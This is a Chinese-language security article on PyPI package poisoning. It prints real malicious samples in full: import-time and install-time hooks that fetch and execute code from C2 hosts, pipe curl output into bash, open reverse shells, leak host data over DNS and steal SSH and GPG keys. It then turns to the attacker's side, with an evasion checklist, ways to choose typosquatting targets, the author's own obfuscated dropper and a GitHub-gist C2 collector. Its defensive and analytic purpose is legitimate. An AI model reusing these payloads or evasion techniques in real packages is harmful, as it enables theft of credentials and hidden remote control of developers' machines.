作者:Coco413
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送!
投稿郵箱:paper@seebug.org

0x01 起因前言

供應鏈攻擊從去年年底SolarWinds到今年四月初的XcodeSpy后門、PHP倉庫被黑篡改源碼等爆發出來的事件越發頻繁,同時最近也在護網期間,每年護網給我的感受在攻擊突破口上會有一些趨勢變化的亮點,例如剛開始大家主要高頻使用一些1day、姿勢繞過等,后面慢慢的集中在一些腦洞釣魚、物理社工、0day等利用,到了這兩年有一些瞄準各類安全廠商防護、邊界設備的趨勢,這種趨勢的變化也很正常,紅隊隨著藍隊防御體系不斷健全變換各種突破手法,藍隊也隨著紅隊多樣的切入點拉長防守面;從今年護網爆發出來和安全設備相關的漏洞來看0day突破口基本還是代碼層的問題,但假設這些問題不是開發造成而是提前被攻擊者通過供應鏈投遞進來的惡意代碼呢,藍隊護網還是比較依賴于各種監控平臺數據,如果它們成為了對手的"臥底",那么可能前期防御方案做的再完善也難抵后院起火。在紅隊的角度來看,希望不斷尋找一些防守方不變的東西從而去穩定攻擊,而甲方護網前不斷新增部署的防護設備就正是一項不變的策略,以彼之盾攻彼之盾。

結合現在護網藍隊也需要反制到紅隊主機才能得分規則,那么定向供應鏈攻擊我猜想可能接下來會成為雙方都比較青睞的攻擊反制手段。


0x02 供應鏈攻擊之PyPI倉庫投毒

1、什么是供應鏈攻擊

供應鏈攻擊(Supply Chain Attack)是一種防御上很難做到完美規避的攻擊方式,由于現在的軟件工程,各種包/模塊的依賴十分頻繁、常見,而開發者們很難做到一一檢查,默認都過于信任市面上流通的包管理器,這就導致了供應鏈攻擊幾乎已經成為必選攻擊之一。把這種攻擊稱成為供應鏈攻擊,是為了形象說明這種攻擊是一種依賴關系,一個鏈條,任意環節被感染都會導致鏈條之后的所有環節出問題。

供應鏈攻擊具有隱蔽性強、影響范圍廣、投入產出比高等特點,通常會在三個階段植入惡意木馬,開發階段(IDE編輯器、預留后門等,例如2020年-SolarWinds官方被黑事件)、 交付階段(下載站、Git倉庫官網等,例如2021年-PHP倉庫被黑事件)、使用階段(升級劫持、官方云控等,例如2018年-驅動人生升級劫持木馬事件);

這三個階段中和我們平時工作關聯較多的大致在開發階段,需要用到一些開源組件、依賴環境等,通常獲取這些依賴模塊會去下載集成環境或者一些第三方軟件包平臺例如NPM、PyPI 和 RubyGems等,如果這些平臺提供的包或者模塊出現了問題,那么可能代碼一行未寫,病毒已入,接下來以Pypi倉庫投毒舉例,站在攻防兩個角度看待開發階段倉庫的供應鏈攻擊。

2、PyPI倉庫投毒

PyPI是Python第三方軟件包管理工具平臺,所有開發者都可以發布自己制作的模塊包,如果攻擊者上傳了一些偽裝惡意模塊包并用一些具有迷惑性命名(例如L和1、0和o以及一些大小寫名稱等)、用戶習慣相似易敲錯命名(例如requests和request、pysmb和smb等)或者一些官方、內部被搶注的模塊包,那么開發者不小心敲錯即被中招;通常這些偽造包都依然滿足原先包模塊功能,加上用戶對官方源的信任,不容易被發現。


0x03、常見投毒手法

通過分析34份惡意樣本及相關歷史攻擊事件,把常見的投毒攻擊手法整理如下:

1、通過__init__.py觸發執行惡意代碼

  • covd-1.0.4

偽裝covid模塊包,在__init.py文件中添加惡意代碼下發c2服務器上病毒腳本,當模塊被導入時觸發請求;下發部分對c2地址、exec關鍵字使用hex編碼隱藏,利用builtins內置函數exec去調用執行,木馬部分主要用來做進程的持久化,不斷輪訓獲取操作指令。

# covd-1.0.4/covid/__init__.py
import requests as r
import builtins

try:
  getattr(builtins, bytes.fromhex('65786563').decode())(r.get(bytes.fromhex('687474703a2f2f612e7361626162612e776562736974652f676574').decode()).text)
except:
  pass


# get
def __agent():
    try:
        from urllib import request
        import json
        import subprocess
        while True:
            req = request.Request("https://sababa.website/api/ready", method="POST")
            r = request.urlopen(req)
            response = r.read()
            if response:
                task = json.loads(response.decode())
                try:
                    process = subprocess.Popen(task['command'], stderr=subprocess.PIPE, stdout=subprocess.PIPE, cwd=task.get('working_directory'))
                    stdout, stderr = process.communicate()
                    stdout = stdout.decode()
                    stderr = stderr.decode()
                    exit_code = process.wait()
                except Exception as e:
                    stdout = ''
                    stderr = str(e)
                    exit_code = 155
                data = {'task': task, 'exit_code': exit_code, 'stdout': stdout, 'stderr': stderr}
                data = json.dumps(data).encode()
                request.urlopen(request.Request('https://sababa.website/api/done', method="POST"), data=data)
    except Exception as e:
        raise
import threading
threading.Thread(target=__agent, daemon=True).start()
  • tensorflow_serving-9.7.0

偽造tensorflow_serving-api模塊包,正常包導入是import tensorflow_serving.apis方式,用戶以為apis是tensorflow_serving下的,直接pip install tensorflow_serving導致被中招;這個惡意包把獲取到執行結果編碼轉換成子域名形式,然后使用nslooup去自建的NS服務器查詢該域名從而把結果數據隱蔽的傳遞出去,以及在執行系統命令時調用try_call函數從而去繞過一些靜態規則的匹配。

# tensorflow_serving-9.7.0/tensorflow_serving/__init__.py
import os
import socket
import json
import binascii
import random
import string

PACKAGE = 'tensorflow_serving'
SUFFIX = '.dns.alexbirsan-hacks-paypal.com';
NS = 'dns1.alexbirsan-hacks-paypal.com';

def generate_id():
    return ''.join(random.choice(
        string.ascii_lowercase + string.digits) for _ in range(12)
    )

def get_hosts(data):
    data = binascii.hexlify(data.encode('utf-8'))
    data = [data[i:i+60] for i in range(0, len(data), 60)]
    data_id = generate_id()
    to_resolve = []
    for idx, chunk in enumerate(data):
        to_resolve.append(
            'v2_f.{}.{}.{}.v2_e{}'.format(
                data_id, idx, chunk.decode('ascii'), SUFFIX)
            )
    return to_resolve

def try_call(func, *args):
    try:
        return func(*args)
    except:
        return 'err'

data = {
    'p' : PACKAGE,
    'h' : try_call(socket.getfqdn),
    'd' : try_call(os.path.expanduser, '~'),
    'c' : try_call(os.getcwd)
}

data = json.dumps(data)
to_resolve = get_hosts(data)
for host in to_resolve:
    try:
        socket.gethostbyname(host)
    except:
        pass

to_resolve = get_hosts(data)
for host in to_resolve:
    os.system('nslookup {} {}'.format(host, NS))
  • reols-0.1

針對windows下從沙箱識別、系統截屏到反彈shell等一套流程的惡意腳本,木馬主體在本地腳本,具體執行的參數c2進行下發。

# reols-0.1/reols/__init__.py

import socket, os, sys, platform, time, ctypes, subprocess, webbrowser, sqlite3, pyscreeze, threading, pynput.keyboard, wmi
import win32api, winerror, win32event, win32crypt
from shutil import copyfile
from winreg import *

strHost = socket.gethostbyname("securedmaininfo5.zapto.org")
intPort = 3000

strPath = os.path.realpath(sys.argv[0])  # get file path
TMP = os.environ["TEMP"]  # get temp path
APPDATA = os.environ["APPDATA"]
intBuff = 1024

mutex = win32event.CreateMutex(None, 1, "PA_mutex_xp4")
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
    mutex = None
    sys.exit(0)

def detectSandboxie():
    try:
        libHandle = ctypes.windll.LoadLibrary("SbieDll.dll")
        return " (Sandboxie) "
    except: return ""

def detectVM():
    objWMI = wmi.WMI()
    for objDiskDrive in objWMI.query("Select * from Win32_DiskDrive"):
        if "vbox" in objDiskDrive.Caption.lower() or "virtual" in objDiskDrive.Caption.lower():
            return " (Virtual Machine) "
    return ""

......

2、通過setup.py觸發執行惡意代碼

  • virtualnv-0.1.1

把惡意代碼直接放在setup.py中,當pip安裝模塊時進行觸發,把結果信息ascii編碼后夾雜在http請求頭中返回。

# virtualnv-0.1.1/setup.py
from distutils.core import setup
import os
import socket

setup(
    name='virtualnv',
    packages=['virtualnv'],
    version='0.1.1',
    description='Slimmer Virtual Environment',
    author='VirtualNV team',
    author_email='example@example.com',
    url='https://pypi.python.org/pypi?name=virtualnv&:action=display',
    keywords=[],
    classifiers=[],
    install_requires=[
        'virtualenv',
    ],
)
try:
    info = socket.gethostname() + ' virtualnv ' + ' '.join(['%s=%s' % (k, v) for (k, v) in os.environ.items()]) + ' '
    info += [(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in
             [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]
    posty = "paste="
    for i in range(0, len(info)):
        if info[i].isalnum():
            posty += info[i]
        else:
            posty += ("%%%02X" % ord(info[i]))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("packageman.comlu.com", 80))
    s.send("POST / HTTP/1.1\r\n" +
           "User-Agent: Python\r\n" +
           "Host: packageman.comlu.com\r\n" +
           "Content-Type: application/x-www-form-urlencoded\r\n" +
           "Content-Length: " + str(len(posty)) + "\r\n\r\n" + posty)
    s.recv(2048)
except:
    pass
  • libpeshka-0.6

通過setup.py腳本setup函數下script參數調用執行pr.py惡意腳本,下發和木馬主體均在本地,下載遠端惡意腳本后~/.bashrc持久化。

# libpeshka-0.6/setup.py
from setuptools import setup, find_packages

setup(
  name = 'libpeshka',
  packages = find_packages (),
  entry_points={
    'setuptools.installation': [
        'eggsecutable = libari.pr:rn'
    ]
  },
  version = '0.6',
  description = 'Libari wrapper for python',
  author = 'Ruri12',
  author_email = 'ruri12@example.com',
  scripts=["pr.py"],
  url = '',
  download_url = '', 
  keywords = ['libari'],
  classifiers = [],
)

# pr.py
def rn ():
    import platform
    import urllib2
    import os, stat

    ADD_LOC = "http://145.249.104.71/out"
    LOC = ".drv"

    if platform.system () == "Linux":
            response = urllib2.urlopen (ADD_LOC)
            os.chdir (os.path.expanduser ("~"))
            d = open (LOC, "wb")
            d.write (response.read ())
            d.close ()
            current_state = os.stat (LOC)
            os.chmod (LOC, current_state.st_mode|stat.S_IEXEC)
            brc = open (".bashrc", "a")
            brc.write ("\n~/.drv &")
            brc.close ()
    else:
            print ("Error installing library!")
            exit (-1)
  • libpeshnx-0.1

通過setup.py腳本setup函數下entry_points參數調用pr.py中rn函數執行惡意代碼,下發和木馬主體均在本地,下載遠端惡意腳本后~/.bashrc持久化。

# libpeshnx-0.1/setup.py
from setuptools import setup, find_packages

setup(
    name='libpeshnx',
    packages=find_packages(),
    entry_points={
        'setuptools.installation': [
            'eggsecutable = libari.pr:rn'
        ]
    },
    version='0.1',
    description='Libari wrapper for python',
    author='Ruri12',
    author_email='ruri12@example.com',
    url='',
    download_url='',
    keywords=['libari'],
    classifiers=[],
)

# libpeshnx-0.1/libari/pr.py
def rn ():
    import platform
    import urllib2
    import os, stat

    ADD_LOC = "http://www.baidu.com/out"
    LOC = ".drv"

    if platform.system () == "Linux":
            response = urllib2.urlopen (ADD_LOC)
            os.chdir (os.path.expanduser ("~"))
            d = open (LOC, "wb")
            d.write (response.read ())
            d.close ()
            current_state = os.stat (LOC)
            os.chmod (LOC, current_state.st_mode|stat.S_IEXEC)
            brc = open (".bashrc", "a")
            brc.write ("\n~/.drv &")
            brc.close ()
    else:
            print ("Error installing library!")
            exit (-1)
  • request-1.0.117

偽裝requests模塊包,通過setup.py腳本setup函數下cmdclass參數調用執行惡意代碼;下發部分對c2地址進行變換base64編碼避開base64特征匹配,木馬部分采用lzma+b85encode壓縮編碼混淆后exec執行主體,主體部分包含命令執行、文件上傳等一套木馬腳本,并采用~/.bashrc進行持久化。

# request-1.0.117/setup.py 
from setuptools import setup, find_packages
import atexit,signal
from setuptools.command.install import install

def _post_on_exit():
        try:
            import os
            tmp_dir = os.environ.get('TMPDIR') if os.environ.get('TMPDIR') else (os.environ.get('TEMP') if os.environ.get('TEMP') else ('/tmp' if os.path.exists('/tmp') else os.environ.get('HOME')))
            os.chdir(tmp_dir)
            from hmatch import license_check
            license_check()
        except Exception as e:
            pass
class PostInstallCommand(install):
    def run(self):
        install.run(self)
        atexit.register(_post_on_exit)
        signal.signal(signal.SIGTERM,_post_on_exit)
        signal.signal(signal.SIGINT,_post_on_exit)

INSTALL_REQUIRES = [
   'requests',
]

setup(
    name='request',
    version='1.0.117',
    description='Request Match',
    long_description='A tool for mass regex checking websites',
    license='APACHE License',
    author='Elis',
    author_email='me@elis.cc',
    url='https://elis.cc',
    keywords='hmatch, request',
    install_requires=INSTALL_REQUIRES,
    include_package_data=True,
    zip_safe=False,
    py_modules=['request','hmatch'],
    packages=find_packages(),
    entry_points={'console_scripts': ['hmatch = hmatch:main']},
    cmdclass={
        'install': PostInstallCommand,
    }
)
# request-1.0.117/hmatch.py
def license_check():
    gg = ""
    try:
        gg = urlopen(base64.b64decode("=82cus2Ylh2YvQ3clVXclJ3Lw9GdukHelR2LvoDc0RHa"[::-1]).decode('utf-8')).read().decode('utf-8')
    except Exception as e:
        pass
    if "license" in gg:
        try:
            exec(gg)
        except:
            pass
 ...

# check.so(樣本未收集到,部分腳本見https://security.tencent.com/index.php/blog/msg/160)
  • pyscrapy-0.3.0

通過setup.py腳本setup函數下下cmdclass參數調用執行惡意代碼,下發和木馬主體均在本地,下載遠端惡意腳本后~/.bashrc持久化。

# pyscrapy-0.3.0/setup.py

import subprocess, os
from setuptools import setup
from setuptools.command.install import install

class TotallyInnocentClass(install):
    # trustpiphuh
    def run(self):
        subprocess.run('curl http://13.93.28.37:8080/p | perl -', shell=True)

        # pyscrapy
        os.system('wget http://39.108.192.78:81/shell.elf')
        os.system('chmod +x ./shell.elf')
        os.system('./shell.elf &')
        os.remove('./sh.elf')
        raise SystemExit(
            "[+] It looks like you try to install pyscrapy without checking it.\n"
            "[-] is that alright? \n"
            "[] complete!"
        )

        # trustypip
        install.run(self)
        LHOST = '13.93.28.37'
        LPORT = 8888
        reverse_shell = 'python -c "import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\'{LHOST}\', {LPORT})); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"'.format(
            LHOST=LHOST, LPORT=LPORT)
        encoded = base64.b64encode(reverse_shell.encode())
        os.system('echo %s|base64 -d|bash' % encoded.decode())

        # pip_security
        install.run(self)
        print("try copy file")
        os.system('cp rootkit/dist/pip_security /usr/local/bin/rootkit')
        print("rootkit install ;)")
        os.system('rootkit/dist/pip_security install')
        print("run rootkit ;)")
        os.system('rootkit &')
        print("exit")

        # fakessh
        install.run(self)
        os.system('curl -qs http://34.69.215.243/hi 2>/dev/null | bash 2>/dev/null >/dev/null')

setup(
    name="trustpiphuh",
    version="0.0.2",
    author="Example Author",
    author_email="author@example.com",
    description="DONT INSTALL THIS",
    long_description_content_type="text/markdown",
    url="https://github.com/pypa/sampleproject",
    classifiers=[
        "Programming Language :: Python :: 3",
        "License :: OSI Approved :: MIT License",
        "Operating System :: OS Independent",
    ],
    cmdclass={
        "install": TotallyInnocentClass
    }
)

3、通過混淆在正常模塊文件中觸發執行惡意代碼

  • jeIlyfish-0.7.1

通過python3-dateutil模塊包導入進行觸發,python3-dateutil本身不存在惡意代碼,把惡意代碼夾雜在jeIlyfish正常模塊功能文件中,使用zlib+base64解碼進行混淆,讀取C2地址上hash值解密執行獲取的惡意腳本,盜取用戶SSH和GPG密鑰。

# jeIlyfish-0.7.1/jeIlyfish/_jellyfish.py
import zlib
import base64

ZAUTHSS = ''
ZAUTHSS += 'eJx1U12PojAUfedXkMwDmjgOIDIyyTyoIH4gMiooTmYnQFsQQWoLKv76rYnZbDaz'
ZAUTHSS += 'fWh7T849vec294lXexEeT0XT6ScXpawkk+C9Z+yHK5JSPL3kg5h74tUuLeKsK8aa'
ZAUTHSS += '6SziySDryHmPhgX1sCUZtigVxga92oNkNeqL8Ox5/ZMeRo4xNpduJB2NCcROwXS2'
ZAUTHSS += 'wTVf3q7EUYE+xeVomhwLYsLeQhzth4tQkXpGipPAtTVPW1a6fz7oa2m38NYzDQSH'
ZAUTHSS += 'hCl0ksxCEz8HcbAzkDYuo/N4t8hs5qF0KtzHZxXQxBnXkXhKa5Zg18nHh0tAZCj+'
ZAUTHSS += 'oA+L2xFvgXMJtN3lNoPLj5XMSHR4ywOwHeqnV8kfKf7a2QTEl3aDjbpBfSOEZChf'
ZAUTHSS += '9jOqBxgHNKADZcXtc1yQkiewRWvaKij3XVRl6xsS8s6ANi3BPX5cGcr9iL4XGB4b'
ZAUTHSS += 'BW0DeD5WWdYSLqHQbP2IciWp3zj+viNS5HxFsmwfyvyjEhbe0zgeXiOIy785bQJP'
ZAUTHSS += 'FaTlP1T+zoVR43anABgVOSaQ0kYYUKgq7VBS7yCADQLbtAobHM8T4fOX+KwFYQQg'
ZAUTHSS += '+hJagtB6iDWEpCzx28tLuC+zus3EXuSut7u6YX4gQpOVEIBGs/1QFKoSPfeYU5QF'
ZAUTHSS += 'MX1nD8xdaz2xJrbB8c1P5e1Z+WpXGEPSaLLFPTyx7tP/NPJP+9l/QteSTVWUpNQR'
ZAUTHSS += 'ZbDXT9vcSl43I5ksclc0fUaZ37bLZJjHY69GMR2fA5otolpF187RlZ1riTrG6zLp'
ZAUTHSS += 'odQsjopv9NLM7juh1L2k2drSImCpTMSXtfshL/2RdvByfTbFeHS0C29oyPiwVVNk'
ZAUTHSS += 'Vs4NmfXZnkMEa3ex7LqpC8b92Uj9kNLJfSYmctiTdWuioFJDDADoluJhjfykc2bz'
ZAUTHSS += 'VgHXcbaFvhFXET1JVMl3dmym3lzpmFv5N6+3QHk='

ZAUTHSS = base64.b64decode(ZAUTHSS)
ZAUTHSS = zlib.decompress(ZAUTHSS)
if ZAUTHSS:
    exec(ZAUTHSS)

# hashsum
home = os.path.expanduser("~")
if os.path.exists(home):
    data.add(home)
    data.add('\n   ###  1 ls home')
    data.add('\n   '.join(list_dir(home)))
    data.add('\n   ### 2 ls Documents')
    data.add('\n   '.join(list_dir(os.path.join(home, 'Documents'))))
    data.add('\n   ### 3 ls Downloads')
    data.add('\n   '.join(list_dir(os.path.join(home, 'Downloads'))))
    data.add('\n   ### 4 ls PycharmProjects')
    data.add('\n   '.join(list_dir(os.path.join(home, 'PycharmProjects'))))
    data.add('\n   ### 5 save home files')
    save_files(home)
    data.add('\n   ### 6 save .ssh files')
    save_files(os.path.join(home, '.ssh'))
    data.add('\n   ### 7 save gpg keys')
    save_files(os.path.join(home, '.gnupg'))
    data.add('\n   ### 8 save target')
    save_file(os.path.join(home, 'Downloads/ITDS-2018-10-15-DRACO_SRV1-362.pfx'))
    data.add('\n   ### 9 end :)')

data.add(requests.get('http://ifconfig.co/json').text)
requests.post(
    'http://68.183.212.246:32258',
    data=json.dumps({'my3n_data': data.dump}, default=lambda v: str(v)),
    headers={"Content-type": "application/json"}
)

0x04、防御方式

1、建議上防御

  • 安裝模塊時候多留意包的依賴,有可能A包沒問題,問題出在A包依賴的B包;
  • 執行一鍵安裝腳本或者安裝模塊包的時候多注意下包名稱;
  • 使用國內源的時候注意惡意包是否已經刪了,一些國內源在同步官方源時候部分惡意包不會刪除,不過有個好處就是方便找惡意包的樣本:(
  • 安裝一些不確定的開源項目多在虛擬機或者docker中進行部署,需要主機部署的控制好權限;
  • pip list | grep <packages> && pip show --file <packages>自檢惡意包。

2、建設上防御


0x05、用魔法打敗魔法

在側重點不同的視角下同樣的事情通常會看到不一樣的薄弱點,因此切換到一個"攻擊者"的角度去優化手法,規避掉一些防御策略,增大對方識別到的成本和誤報;以下通過一次非惡意測試,記錄作為攻擊者可能會去嘗試繞過的一些點以及對投毒腳本混淆優化。

1、梳理功能需求

  • 能夠兼容py2/3版本,對不同系統下發不同指令;

  • 不影響偽造的模塊的正常功能;

  • 盡可能少使用第三方依賴,有用到的第三放模塊直接目錄導入或者復寫;

  • 滿足一個病毒該有的樣子,已經是個成熟的病毒了,自己得會信息收集、屏幕截圖、反彈shell、后門維持等功能:(

  • 忽略所有異常報錯,避免惡意代碼位置被報錯輸出;

  • 避免字符串過長被靜態特征檢測到;

  • 避免和歷史攻擊樣本中的一些特征相似被靜態規則檢測到;

  • 對于一些敏感的關鍵字例如eval、exec等要編碼混淆避免被靜態規則檢測到;

  • 木馬主體以及持久化等C2控制,本地下馬部分僅做個下馬操作,避免過多行為被檢測到;

  • 下馬部分特征比較明顯可以放到一些非常規的后綴文件中,有些檢測機制只檢測py文件從而進行繞過;

  • 對域名、ip等敏感的特征做一些編碼或者進制轉換等進行混淆;

  • 在傳輸數據中大多會檢測dns、http等,使用一些udp、icmp隧道或加密等進行傳遞;

  • 識別一些沙箱、docker等虛擬環境;

  • 木馬主體識別一些惡意挖礦進行以及阿里云等保護進行kill掉;

  • 偽造的模塊包通過填充一些垃圾數據、或者把惡意代碼部分和正常代碼之間填充很多空行進行混淆分析者;

  • 代碼回傳到的C2放個監控探針,有ip訪問到了可能被發現了,大致知道多久被發現;

......

2、尋找投毒目標

  • 查看Github上最近比較火的項目用到哪些模塊;

  • 查看Google上關于pip install 高頻的搜索推薦記錄;

  • 查看pypi一些下載量統計網站,例如PyPI Stats看看最近哪些包下載較多;

  • 監控Github上泄露的Pypi Token,查看開發者是否上傳過了相關模塊;

  • 針對一些定向人群常用關鍵字等進行水坑,例如CVE-2020-1350假POC釣魚;

  • 搶注一些通過收集或猜測構造的一些企業內部可能使用的包模塊;

  • 爬取pypi上所有模塊的名稱,定義一些好釣魚命名的規則用腳本去挖掘;

  • 尋找一些非常規的導入方式或者命令方式,比如有的叫pyxxx,python3-xxxx;

  • 修改正常的requirements.txt依賴的組件名稱;

  • 使用一些例如dnstwist等工具生成一些相似名稱;

  • 蹭一些當下的熱點,例如covid投毒;

......

3、實際投毒測試

  • 投毒腳本

使用Github作為c2測試,也避免少一些國內主機受到影響。

try:
    _ = lambda func, *args: func(*args)
    __ = lambda path: _(
        __import__,
        'offices'.
            replace
        ("ffice", '')). \
        path. \
        exists(path)

    p2 = ['696d706', 'f727420', '75726c6', 'c696232', '3b65786', '5632862', '7974656', '1727261', '792e667', '26f6d68', '6578287', '5726c6c', '6962322', 'e75726c', '6f70656', 'e287572', '6c6c696', '2322e52', '6571756', '5737428', '75726c3', 'd226874', '7470733', 'a2f2f67', '6973742', 'e676974', '6875627', '5736572', '636f6e7', '4656e74', '2e636f6', 'd2f5869', '6e6a696', '16e6743', '6f74746', 'f6e4265', '73742f6', '5623537', '3131373', '3313264', '3038636', '1306566', '3666316', '4343134', '3036346', '3383634', '2f72617', '72f3433', '6438323', '4343862', '3663643', '3306430', '6261373', '4353236', '6238373', '6346435', '3466336', '5303463', '3165362', 'f68682e', '7478742', '2292c20', '74696d6', '56f7574', '3d38292', 'e726561', '6428292', 'e646563', '6f64652', '8227574', '662d382', '229292e', '6465636', 'xxxxx', 'xxxx']
    p3 = ['66726f6', 'd207572', '6c6c696', '22e7265', '7175657', '3742069', '6d706f7', '2742075', '726c6f7', '0656e3b', '6578656', '3286279', '7465617', '2726179', '2e66726', 'f6d6865', '7828757', '26c6f70', '656e282', '2687474', '70733a2', 'f2f6769', '73742e6', '7697468', '7562757', '3657263', '6f6e746', '56e742e', '636f6d2', 'f58696e', '6a69616', 'e67436f', '74746f6', 'e426573', '742f656', '2353731', '3137333', '1326430', '3863613', '0656636', '6631643', '4313430', '3634633', '836342f', '7261772', 'f343364', '3832343', '4386236', '6364333', '0643062', '6137343', '5323662', '3837363', '4643534', '6633653', '0346331', '65362f6', '8682e74', '7874222', 'c74696d', '656f757', '43d3829', '2e72656', '1642829', '2e64656', '36f6465', '2822757', '4662d38', '2229292', 'e646563', 'xxxx', 'xxxx']

    if not __("/.diocikeiireniiv".
                      replace
                  ("i", "")):
        if _(
        __import__,
        "superyupers".
                replace("uper", "")).version_info.major == 3:
            _(
                __builtins__.__dict__
                ['elovexloveelovec'.
                    replace("love", '')],
                _(
                    __import__,
                  'bok~iok~nasciok~i'.replace(
                      'ok~', '')).
                    unhexlify   (
                    ''.join(p3)).decode()
            )
        else:
            data = _(
                __import__, 'bok~iok~nasciok~i'.replace('ok~', '')).  unhexlify   (

                ''.join(p2)).decode()
            _(
                __import__,
                'offices'.
                    replace
                ("ffice", '')).system("python -c '{}'".format(_(
                __import__, 'bok~iok~nasciok~i'.replace('ok~', '')).

                                                              unhexlify   (
                ''.join(p2)).decode()))
except:
    pass
  • C2腳本

https://gist.github.com/XinjiangCottonBest/eb57117312d08ca0ef6f1d414064c864

僅獲取主機基本信息,數據回傳到gist展示,今年護網出現一些文章復現進行釣魚的,這邊把回傳改成mysql蜜罐也是不錯一個姿勢,從而活捉分析者一頓胖揍~~

import os, socket, getpass, platform, time, json

try:
    import urllib2 as urlrequest
except:
    import urllib.request as urlrequest


def info(gists_token="xxxx", gists_id="xxxx"):
    try:
        _ = {
            "user": getpass.getuser(),
            "user_dir": os.path.expanduser("~"),
            "current_dir": os.getcwd(),
            "ipaddr": [(s.connect(("8.8.8.8", 53)), s.getsockname()[0], s.close()) for s in
                       [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1],
            "hostname": platform.uname(),
            "datetime": time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(time.time())),
        }
        data = {"body": "{0}".format(json.dumps(_).encode("utf-8", errors="ignore"))}
        req = urlrequest.Request(
            url="https://api.github.com/gists/{0}/comments".format(gists_id),
            data=json.dumps(data).encode("utf-8", errors="ignore"),
            headers={
                "Authorization": "token {0}".format(gists_token),
                "Accept": "application/vnd.github.v3+json",
            }
        )
        return urlrequest.urlopen(req, timeout=10).read()
    except:
        pass

info()

0x06 參考資料

生產節點供應鏈安全思考 | Kevinsa

揭秘新的供應鏈攻擊:一研究員靠它成功入侵微軟、蘋果等35家科技公司-InfoQ

被忽視的攻擊面:Python package 釣魚

如何在PyPI上尋找惡意軟件包 - FreeBuf網絡安全行業門戶

關于軟件供應鏈攻擊,CISO應關注的5個問題 - FreeBuf網絡安全行業門戶

ffffffff0x/Dork-Admin: 盤點近年來的數據泄露、供應鏈污染事件

軟件供應鏈來源攻擊分析報告-奇安信威脅情報中心 使用動靜結合的分析方式檢測供應鏈攻擊中的0 day - 安全客,安全資訊平臺 PyPI 官方倉庫遭遇request惡意包投毒 - 騰訊安全應急響應中心

淺析軟件供應鏈攻擊之包搶注低成本釣魚 - 騰訊安全應急響應中心

源頭之戰,不斷升級的攻防對抗技術 —— 軟件供應鏈攻擊防御探索 - 騰訊安全應急響應中心


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1562/